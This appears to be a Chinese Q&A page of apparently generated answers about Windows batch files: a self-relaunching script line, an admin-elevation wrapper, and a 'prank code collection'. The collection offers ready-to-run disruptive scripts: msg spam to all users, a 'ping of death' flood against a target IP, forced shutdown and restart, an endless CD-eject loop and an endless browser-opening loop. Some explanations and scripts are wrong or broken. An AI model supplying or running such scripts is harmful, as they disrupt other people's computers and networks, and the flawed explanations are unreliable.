echo start c:\1.bat>>c:\1.bat
时间: 2024-04-02 19:34:00 浏览: 11
这是一个 Windows 命令,将字符串 "start c:\1.bat" 写入到 C 盘根目录下的 1.bat 文件中,相当于在 1.bat 文件中添加一行命令 "start c:\1.bat",然后执行该文件。这个命令的作用是在执行 1.bat 文件时,再次启动该文件,从而实现循环执行的效果。但是这种方式可能会导致死循环,需要慎重使用。
相关问题
写一个以管理员身份运行c:\a.ps1脚本的bat脚本.
以下是一个简单的批处理脚本,可以让你以管理员身份运行 c:\a.ps1 脚本:
```batch
@echo off
set "psScript=c:\a.ps1"
echo Running PowerShell script %psScript% as administrator...
:: 检查当前用户是否为管理员
net session >nul 2>&1
if %errorLevel% == 0 (
:: 如果当前用户已经是管理员,则直接运行 PowerShell 脚本
powershell.exe -File "%psScript%"
) else (
:: 如果当前用户不是管理员,则使用管理员身份重新启动批处理脚本
echo Restarting script as administrator...
powershell.exe -Command "Start-Process '%0' -Verb RunAs"
)
echo Done.
```
将上述脚本保存为 `runAsAdmin.bat`,并将 `c:\a.ps1` 替换为你要以管理员身份运行的 PowerShell 脚本路径。当你运行这个脚本时,它将检查当前用户是否为管理员。如果当前用户已经是管理员,则直接运行 PowerShell 脚本。如果当前用户不是管理员,则使用管理员身份重新启动批处理脚本,并再次运行相同的脚本。
.bat整蛊代码大全
以下是几个常见的.bat整蛊代码:
1. 远程弹窗刷屏
```bat
@echo off
:a
msg 用户名 消息
::用户名为*的话是发给所有人goto a
```
2. 死亡之ping
```bat
ping -t -l 65500 目标IP地址
```
3. 无限关机
```bat
@echo off
shutdown -s -t 0
```
4. 无限重启
```bat
@echo off
shutdown -r -t 0
```
5. 无限弹光驱
```bat
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
```
6. 无限打开网页
```bat
@echo off
:start
start www.baidu.com
goto start
```